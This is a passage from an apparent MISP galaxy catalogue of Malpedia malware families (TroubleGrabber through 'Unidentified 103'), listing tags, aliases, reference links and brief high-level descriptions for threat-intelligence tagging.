https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-from-primitive-crypto-theft-to-sophisticated-ai-based-deception/
https://www.virusbulletin.com/uploads/pdf/conference/vb2025/papers/DeceptiveDevelopment-and-North-Korean-IT-workers-from-primitive-crypto-theft-to-sophisticated-AI-based-deception.pdf
https://asec.ahnlab.com/en/87299/

TroubleGrabber

The tag is: *misp-galaxy:malpedia="TroubleGrabber"*

TroubleGrabber is also known as:

Table 5391. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.troublegrabber
https://www.netskope.com/blog/here-comes-troublegrabber-stealing-credentials-through-discord

troystealer

The tag is: *misp-galaxy:malpedia="troystealer"*

troystealer is also known as:

Table 5392. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.troystealer
https://seguranca-informatica.pt/troystealer-a-new-info-stealer-targeting-portuguese-internet-users

Trump Ransom

The tag is: *misp-galaxy:malpedia="Trump Ransom"*

Trump Ransom is also known as:

Table 5393. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trump_ransom

Tsifiri

The tag is: *misp-galaxy:malpedia="Tsifiri"*

Tsifiri is also known as:

Table 5394. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tsifiri

tsunami

The tag is: *misp-galaxy:malpedia="tsunami"*

tsunami is also known as:

Table 5395. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tsunami
https://doi.org/10.48550/arXiv.2505.21725
https://www.linkedin.com/posts/alessio-di-santo-712348197_iocs-ttps-lazarusgroup-activity-7263976334807220224-N6Ue/
https://www.bitdefender.com/en-us/blog/labs/lazarus-group-targets-organizations-with-sophisticated-linkedin-recruiting-scam
https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/

TsunamiKit

TsunamiKit is a multi-stage malware toolkit written in Python and .NET.

The execution chain consists of several modules—including TsunamiLoader, TsunamiInjector, TsunamiInstaller, TsunamiPayload and the core TsunamiClient. The name is derived from the developer's recurring use of "Tsunami" in its components, e.g. "C# Tsunami Dist Version 3.0.0" or "Tsunami Stable\Tsunami Payload".

The primary purpose of the core module depends on the variant. It either carries out information theft by exfiltrating browser data, or monetize its presence by dropping cryptocurrency miners like XMRig and NBMiner. It also fingerprints the compromised system and uses the Tor network for command-and-control (C&C) communication.

While it was delivered by the InvisibleFerret malware in November 2024, older samples dating back to November 2021 suggest TsunamiKit is a pre-existing dark web project adapted by the APT actors.

The tag is: *misp-galaxy:malpedia="TsunamiKit"*

TsunamiKit is also known as:

Table 5396. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tsunamikit
https://doi.org/10.48550/arXiv.2505.21725
https://www.virusbulletin.com/uploads/pdf/conference/vb2025/papers/DeceptiveDevelopment-and-North-Korean-IT-workers-from-primitive-crypto-theft-to-sophisticated-AI-based-deception.pdf
https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-from-primitive-crypto-theft-to-sophisticated-ai-based-deception/
https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/

TUNNELFISH

The tag is: *misp-galaxy:malpedia="TUNNELFISH"*

TUNNELFISH is also known as:

Table 5397. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tunnelfish
https://www.secureworks.com/blog/opsec-mistakes-reveal-cobalt-mirage-threat-actors

TunnelSpecter

The tag is: *misp-galaxy:malpedia="TunnelSpecter"*

TunnelSpecter is also known as:

Table 5398. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tunnelspecter
https://unit42.paloaltonetworks.com/operation-diplomatic-specter/

Tuoni

According to its Github repo, Tuoni is a sophisticated, cross-platform red teaming framework designed to enhance cybersecurity education and training through large-scale cyber defense exercises. Developed using Java for robustness, Docker for versatility, and featuring an intuitive web browser interface, it supports and streamlines cyber exercises. With its modular, extendable

plugin system, Tuoni offers Red Teamers the flexibility to tailor its capabilities for specific educational and exercise needs. Its user-friendly interface facilitates easy operation and efficient reporting, essential in training environments. Tuoni embodies a commitment to power, adaptability, and collaboration, aimed at empowering Red Teamers with a tool that meets the dynamic demands of modern cyber defense education.

The tag is: *misp-galaxy:malpedia="Tuoni"*

Tuoni is also known as:

Table 5399. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tuoni
https://github.com/shell-dot/tuoni

turian

According to Mitre, Turian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.

The tag is: *misp-galaxy:malpedia="turian"*

turian is also known as:

Table 5400. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turian
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/
https://unit42.paloaltonetworks.com/playful-taurus/
https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day

Turkojan

The tag is: *misp-galaxy:malpedia="Turkojan"*

Turkojan is also known as:

Table 5401. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turkojan
https://www.sentinelone.com/wp-content/uploads/2021/09/SentinelOne_-SentinelLabs_EGoManiac_WP_V4.pdf

TurlaRPC

The tag is: *misp-galaxy:malpedia="TurlaRPC"*

TurlaRPC is also known as:

Table 5402. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc
https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html
https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html
https://unit42.paloaltonetworks.com/ironnetinjector/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity

Turla SilentMoon

The tag is: *misp-galaxy:malpedia="Turla SilentMoon"*

Turla SilentMoon is also known as:

- BigBoss
- Cacao
- GoldenSky
- HyperStack

Table 5403. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon
https://twitter.com/Arkbird_SOLG/status/1304187749373800455
https://www.emanueledelucia.net/the-bigboss-rules-something-about-one-of-the-uroburos-rpc-based-backdoors/
https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity

TURNEDUP

The tag is: *misp-galaxy:malpedia="TURNEDUP"*

TURNEDUP is also known as:

- Notestuk

Table 5404. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup
https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/
https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

TwoDash

The tag is: *misp-galaxy:malpedia="TwoDash"*

TwoDash is also known as:

Table 5405. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.twodash
https://www.microsoft.com/en-us/security/blog/2024/12/04/frequent-freeloader-part-i-secret-blizzard-compromising-storm-0156-infrastructure-for-espionage/
https://blog.lumen.com/snowblind-the-invisible-hand-of-secret-blizzard/

TYPEFRAME

TYPEFRAME is a RAT.

It supports ~25 commands that include operations on the victim's filesystem, manipulation with its configuration, modification of the system's firewall, the download and execution of additional tools from the attacker's C&C and the uninstall via a self-delete batch. The commands are indexed by 16-bit integers, starting with the value 0x8000.

The RAT uses RC4 for decryption of its binary configuration. It has a statically linked OpenSSL 0.9.8k library used for SSL communication.

The tag is: *misp-galaxy:malpedia="TYPEFRAME"*

TYPEFRAME is also known as:

Table 5406. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.typeframe
https://www.cisa.gov/news-events/analysis-reports/ar18-165a

TypeHash

The tag is: *misp-galaxy:malpedia="TypeHash"*

TypeHash is also known as:

- SkinnyD

Table 5407. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash
https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf
https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf

Typhon Stealer

According to PCrisk, Typhon is a stealer-type malware written in the C# programming language. Newer versions of this program are called Typhon Reborn (TyphonReborn). Malware within this classification is designed to extract data from infected systems. The older variants of Typhon have a broader range of functionalities, while Typhon Reborn versions are streamlined stealers.

The tag is: *misp-galaxy:malpedia="Typhon Stealer"*

Typhon Stealer is also known as:

- Typhon Reborn V2

Table 5408. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.typhon_stealer
https://blog.talosintelligence.com/typhon-reborn-v2-features-enhanced-anti-analysis/

Tyupkin

The tag is: *misp-galaxy:malpedia="Tyupkin"*

Tyupkin is also known as:

Table 5409. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tyupkin
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
https://www.lastline.com/labsblog/tyupkin-atm-malware/
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf

T-Cmd

The tag is: *misp-galaxy:malpedia="T-Cmd"*

T-Cmd is also known as:

- t_cmd

Table 5410. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.t_cmd
https://github.com/crackeeer/2006-defconbot/blob/master/T-cmd.cpp

T-RAT 2.0

The tag is: *misp-galaxy:malpedia="T-RAT 2.0"*

T-RAT 2.0 is also known as:

Table 5411. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.t_rat
https://www.gdatasoftware.com/blog/trat-control-via-smartphone

UACMe

A toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.

The tag is: *misp-galaxy:malpedia="UACMe"*

UACMe is also known as:

- Akagi

Table 5412. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://github.com/hfiref0x/UACME

UDPoS

The tag is: *misp-galaxy:malpedia="UDPoS"*

UDPoS is also known as:

Table 5413. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos
https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html
https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns

UFR Stealer

Information stealer.

The tag is: *misp-galaxy:malpedia="UFR Stealer"*

UFR Stealer is also known as:

- Usteal

Table 5414. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ufrstealer
https://twitter.com/malwrhunterteam/status/1096363455769202688
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Usteal

Uiwix

The tag is: *misp-galaxy:malpedia="Uiwix"*

Uiwix is also known as:

Table 5415. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.uiwix
https://www.minerva-labs.com/post/uiwix-evasive-ransomware-exploiting-eternalblue

Umbral

Umbral is a data-stealing Trojan that targets Windows systems. It spreads through phishing emails and malicious attachments. Once installed, Umbral can steal a variety of data, including usernames, passwords, online banking credentials, and confidential files. It can also change computer settings and execute harmful commands. Umbral is a serious security threat and should be removed immediately if found.

The tag is: *misp-galaxy:malpedia="Umbral"*

Umbral is also known as:

Table 5416. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.umbral
https://blog.cyble.com/2023/06/23/trojanized-super-mario-game-installer-spreads-supremebot-malware/

UnderminerEK

The tag is: *misp-galaxy:malpedia="UnderminerEK"*

UnderminerEK is also known as:

Table 5417. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek
https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/
https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become

Unidentified 001

The tag is: *misp-galaxy:malpedia="Unidentified 001"*

Unidentified 001 is also known as:

Table 5418. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001

Unidentified 003

The tag is: *misp-galaxy:malpedia="Unidentified 003"*

Unidentified 003 is also known as:

Table 5419. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003

Unidentified 006

The tag is: *misp-galaxy:malpedia="Unidentified 006"*

Unidentified 006 is also known as:

Table 5420. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006

Unidentified 013 (Korean)

The tag is: *misp-galaxy:malpedia="Unidentified 013 (Korean)"*

Unidentified 013 (Korean) is also known as:

Table 5421. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware
http://blog.talosintelligence.com/2017/02/korean-maldoc.html

Unidentified 020 (Vault7)

The tag is: *misp-galaxy:malpedia="Unidentified 020 (Vault7)"*

Unidentified 020 (Vault7) is also known as:

Table 5422. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7
https://wikileaks.org/ciav7p1/cms/page_34308128.html

Unidentified 022 (Ransom)

The tag is: *misp-galaxy:malpedia="Unidentified 022 (Ransom)"*

Unidentified 022 (Ransom) is also known as:

Table 5423. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_022_ransom

Unidentified 023

The tag is: *misp-galaxy:malpedia="Unidentified 023"*

Unidentified 023 is also known as:

Table 5424. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023

Unidentified 024 (Ransomware)

The tag is: *misp-galaxy:malpedia="Unidentified 024 (Ransomware)"*

Unidentified 024 (Ransomware) is also known as:

Table 5425. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_024_ransom
https://twitter.com/malwrhunterteam/status/789161704106127360

Unidentified 025 (Clickfraud)

The tag is: *misp-galaxy:malpedia="Unidentified 025 (Clickfraud)"*

Unidentified 025 (Clickfraud) is also known as:

Table 5426. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_025_clickfraud
http://malware-traffic-analysis.net/2016/05/09/index.html

Unidentified 028

The tag is: *misp-galaxy:malpedia="Unidentified 028"*

Unidentified 028 is also known as:

Table 5427. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_028

Unidentified 029

The tag is: *misp-galaxy:malpedia="Unidentified 029"*

Unidentified 029 is also known as:

Table 5428. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_029

Unidentified 030 (Ransomware)

Unnamed ransomware that camouflages as a program performing system cleanup called "System Analyzer Pro".

The tag is: *misp-galaxy:malpedia="Unidentified 030 (Ransomware)"*

Unidentified 030 (Ransomware) is also known as:

Table 5429. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_030
https://twitter.com/JaromirHorejsi/status/877811773826641920

Unidentified 031

The tag is: *misp-galaxy:malpedia="Unidentified 031"*

Unidentified 031 is also known as:

Table 5430. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_031

Unidentified 037

The tag is: *misp-galaxy:malpedia="Unidentified 037"*

Unidentified 037 is also known as:

Table 5431. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037

Unidentified 038

The tag is: *misp-galaxy:malpedia="Unidentified 038"*

Unidentified 038 is also known as:

Table 5432. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_038

Unidentified 039

The tag is: *misp-galaxy:malpedia="Unidentified 039"*

Unidentified 039 is also known as:

Table 5433. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_039

Unidentified 041

The tag is: *misp-galaxy:malpedia="Unidentified 041"*

Unidentified 041 is also known as:

Table 5434. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_041

Unidentified 042

The tag is: *misp-galaxy:malpedia="Unidentified 042"*

Unidentified 042 is also known as:

Table 5435. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_042
http://www.intezer.com/lazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies/

Unidentified 044

The tag is: *misp-galaxy:malpedia="Unidentified 044"*

Unidentified 044 is also known as:

Table 5436. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_044

Unidentified 045

The tag is: *misp-galaxy:malpedia="Unidentified 045"*

Unidentified 045 is also known as:

Table 5437. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045

Unidentified 047

RAT written in Delphi used by Patchwork APT.

The tag is: *misp-galaxy:malpedia="Unidentified 047"*

Unidentified 047 is also known as:

Table 5438. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_047
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

Unidentified 052

The tag is: *misp-galaxy:malpedia="Unidentified 052"*

Unidentified 052 is also known as:

Table 5439. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_052

Unidentified 053 (Wonknu?)

The tag is: *misp-galaxy:malpedia="Unidentified 053 (Wonknu?)"*

Unidentified 053 (Wonknu?) is also known as:

Table 5440. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053

Unidentified 057

Unnamed portscanner as used in the Australian Parliament Hack (Feb 2019).

The tag is: *misp-galaxy:malpedia="Unidentified 057"*

Unidentified 057 is also known as:

Table 5441. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_057
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/

Unidentified 058

The tag is: *misp-galaxy:malpedia="Unidentified 058"*

Unidentified 058 is also known as:

Table 5442. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_058
https://securelist.com/the-return-of-the-bom/90065/
https://securelist.com/the-evolution-of-brazilian-malware/74325/#rat

Unidentified 066

This .net executable can receive commands from c2 sever, upload and download files according to the returned content, perform an uninstall, or modify the registry to achieve persistence across reboots. At the end, it downloads a Python-based RAT, called PeppyRAT.

The tag is: *misp-galaxy:malpedia="Unidentified 066"*

Unidentified 066 is also known as:

Table 5443. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_066
https://s.tencent.com/research/report/669.html

Unidentified 067

The tag is: *misp-galaxy:malpedia="Unidentified 067"*

Unidentified 067 is also known as:

Table 5444. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_067
https://s.tencent.com/research/report/831.html

Unidentified 068

The tag is: *misp-galaxy:malpedia="Unidentified 068"*

Unidentified 068 is also known as:

Table 5445. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_068
https://rules.emergingthreatspro.com/changelogs/suricata-5.0-enhanced.etpro.2019-12-05T23:38:02.txt

Unidentified 069 (Zeus Unnamed2)

Zeus derivate, no known public references.

The tag is: *misp-galaxy:malpedia="Unidentified 069 (Zeus Unnamed2)"*

Unidentified 069 (Zeus Unnamed2) is also known as:

Table 5446. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_069
https://zeusmuseum.com/unnamed%202/

Unidentified 070 (Downloader)

Unidentified downloader, possibly related to KONNI.

The tag is: *misp-galaxy:malpedia="Unidentified 070 (Downloader)"*

Unidentified 070 (Downloader) is also known as:

Table 5447. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_070
https://twitter.com/M11Sec/status/1217781224204357633

Unidentified 071 (Zeus Unnamed1)

The tag is: *misp-galaxy:malpedia="Unidentified 071 (Zeus Unnamed1)"*

Unidentified 071 (Zeus Unnamed1) is also known as:

Table 5448. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_071
https://zeusmuseum.com/unnamed%201/

Unidentified 072 (Metamorfo Loader)

MSI-based loader that has been observed as a stager for win.metamorfo.

The tag is: *misp-galaxy:malpedia="Unidentified 072 (Metamorfo Loader)"*

Unidentified 072 (Metamorfo Loader) is also known as:

Table 5449. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_072
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md

Unidentified 074 (Downloader)

The tag is: *misp-galaxy:malpedia="Unidentified 074 (Downloader)"*

Unidentified 074 (Downloader) is also known as:

Table 5450. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_074
https://blog.vincss.net/2019/12/re009-phan-tich-ma-doc-ke-hoach-nhiem-vu-trong-tam-2020.html
https://blog.vincss.net/vi/re009-phan-tich-ma-doc-ke-hoach-nhiem-vu-trong-tam-nam-2020-doc-dinh-kem-email-phishing-2/

Unidentified 075

Unpacked http_dll.dat from the blog post.

The tag is: *misp-galaxy:malpedia="Unidentified 075"*

Unidentified 075 is also known as:

Table 5451. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_075

Unidentified 076 (Higaisa LNK to Shellcode)

The tag is: *misp-galaxy:malpedia="Unidentified 076 (Higaisa LNK to Shellcode)"*

Unidentified 076 (Higaisa LNK to Shellcode) is also known as:

Table 5452. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076
https://www.zscaler.com/blogs/research/return-higaisa-apt
https://www.youtube.com/watch?v=8x-pGlWpIYI
https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html

Unidentified 077 (Lazarus Downloader)

The tag is: *misp-galaxy:malpedia="Unidentified 077 (Lazarus Downloader)"*

Unidentified 077 (Lazarus Downloader) is also known as:

Table 5453. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_077
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f
https://twitter.com/ccxsaber/status/1277064824434745345

Unidentified 078 (Zebrocy Nim Loader?)

Suspected Zebrocy loader written in Nim.

The tag is: *misp-galaxy:malpedia="Unidentified 078 (Zebrocy Nim Loader?)"*

Unidentified 078 (Zebrocy Nim Loader?) is also known as:

Table 5454. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_078
https://twitter.com/Vishnyak0v/status/1300704689865060353

Unidentified 080

This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as CMFile, CMFile, CMProcess, TFileDownload, TDrive, TProcessInfo, TSock, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port 443 and parse commands. It is also used by attackers to gather a target's data, make lateral movements and create SOCKS tunnels to their C2 using the Earthworm tunneler.Given that the Trojan is an HTTPS server itself, the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands.

The tag is: *misp-galaxy:malpedia="Unidentified 080"*

Unidentified 080 is also known as:

Table 5455. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080
https://securelist.com/luckymouse-ndisproxy-driver/87914/

Unidentified 083 (AutoIT Stealer)

The tag is: *misp-galaxy:malpedia="Unidentified 083 (AutoIT Stealer)"*

Unidentified 083 (AutoIT Stealer) is also known as:

Table 5456. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_083
https://www.intezer.com/blog/malware-analysis/targeted-phishing-attack-against-ukrainian-government-expands-to-georgia/

Unidentified 085

A RAT written in .NET, potentially used by Transparent Tribe.

The tag is: *misp-galaxy:malpedia="Unidentified 085"*

Unidentified 085 is also known as:

Table 5457. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_085
https://blog.cyble.com/2021/09/14/apt-group-targets-indian-defense-officials-through-enhanced-ttps/

Unidentified 087

Symantec describes this family as an unidentified tool set used to target a range of organizations in South East Asia. The campaign was first noticed in September 2020.

The tag is: *misp-galaxy:malpedia="Unidentified 087 "*

Unidentified 087 is also known as:

Table 5458. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-south-east-asia?s=09

Unidentified 088 (Nim Ransomware)

Ransomware written in Nim.

The tag is: *misp-galaxy:malpedia="Unidentified 088 (Nim Ransomware)"*

Unidentified 088 (Nim Ransomware) is also known as:

Table 5459. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671

Unidentified 091

Avast found this unidentified RAT, which abuses a code-signing certificate by the Philippine Navy. It is statically linked against OpenSSL 1.1.1g.

The tag is: *misp-galaxy:malpedia="Unidentified 091"*

Unidentified 091 is also known as:

Table 5460. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091
https://decoded.avast.io/threatintel/avast-finds-compromised-philippine-navy-certificate-used-in-remote-access-tool/

Unidentified 092 (Confucius Backdoor)

According to Antiy CERT, this is a C++ backdoor that was first discovered in an attack by Confucius in September 2020. Its main functions include creating scheduled tasks, retrieving process information, retrieving network adapter information, retrieving disk drive information, uploading files, downloading files, executing files, and providing shell access.

The tag is: *misp-galaxy:malpedia="Unidentified 092 (Confucius Backdoor)"*

Unidentified 092 (Confucius Backdoor) is also known as:

Table 5461. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092
https://mp.weixin.qq.com/s/n6XQAGtNEXfPZXp1mlwDTQ

Unidentified 093 (Sidewinder)

Check Point Research observed this malware being used by Sidewinder.

The tag is: *misp-galaxy:malpedia="Unidentified 093 (Sidewinder)"*

Unidentified 093 (Sidewinder) is also known as:

Table 5462. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_093
https://blog.checkpoint.com/2022/07/13/a-hit-is-made-suspected-india-based-sidewinder-apt-successfully-cyber-attacks-pakistan-military-focused-targets/
https://securelist.com/sidewinder-apt-updates-its-toolset-and-targets-nuclear-sector/115847/

Unidentified 095 (Iranian Wiper)

Wiper, using EldoS RawDisk for low level access to disks.

The tag is: *misp-galaxy:malpedia="Unidentified 095 (Iranian Wiper)"*

Unidentified 095 (Iranian Wiper) is also known as:

Table 5463. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_095
https://www.cisa.gov/uscert/sites/default/files/publications/aa22-264a-iranian-cyber-actors-conduct-cyber-operations-against-the-government-of-albania.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-264a

Unidentified 096 (Keylogger)

Keylogger.

The tag is: *misp-galaxy:malpedia="Unidentified 096 (Keylogger)"*

Unidentified 096 (Keylogger) is also known as:

Table 5464. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_096

Unidentified 097 (Polonium Keylogger)

The tag is: *misp-galaxy:malpedia="Unidentified 097 (Polonium Keylogger)"*

Unidentified 097 (Polonium Keylogger) is also known as:

Table 5465. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_097
https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/
https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/

Unidentified 098 (APT29 Slack Downloader)

The tag is: *misp-galaxy:malpedia="Unidentified 098 (APT29 Slack Downloader)"*

Unidentified 098 (APT29 Slack Downloader) is also known as:

Table 5466. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098
https://www.freebuf.com/articles/paper/339618.html
https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/
https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/
https://ti.qianxin.com/blog/articles/analysis-of-apt29%27s-attack-activities-against-italy/

Unidentified 099 (APT29 Dropbox Loader)

This malware uses DropBox for C2 and was spread via spear-phishing attack at government organizations. It is different from win.boombox, which is another APT29 attributed malware using DropBox (written in .NET).

The tag is: *misp-galaxy:malpedia="Unidentified 099 (APT29 Dropbox Loader)"*

Unidentified 099 (APT29 Dropbox Loader) is also known as:

Table 5467. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_099
https://www.incibe.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf
https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/APT29_C2-Client_Dropbox_Loader/APT29-DropboxLoader_analysis.md
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf

Unidentified 100 (APT-Q-12)

The tag is: *misp-galaxy:malpedia="Unidentified 100 (APT-Q-12)"*

Unidentified 100 (APT-Q-12) is also known as:

Table 5468. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_100
https://mp.weixin.qq.com/s/Hzq4_tWmunDpKfHTlZNM-A
https://www.linkedin.com/pulse/analysis-apt-c-60-attack-south-korea-threatbook/

Unidentified 103 (FIN8)

A malware that uses .NET to load unmanaged (shell)code which has some resemblance to BADHATCH, the IP found in the sample was referred to in coverage on WHITERABBIT ransomware attacks.

The tag is: *misp-galaxy:malpedia="Unidentified 103 (FIN8)"*

Unidentified 103 (FIN8) is also known as:

- Ragnar Loader
- Sardonic

Table 5469. Table References

Links
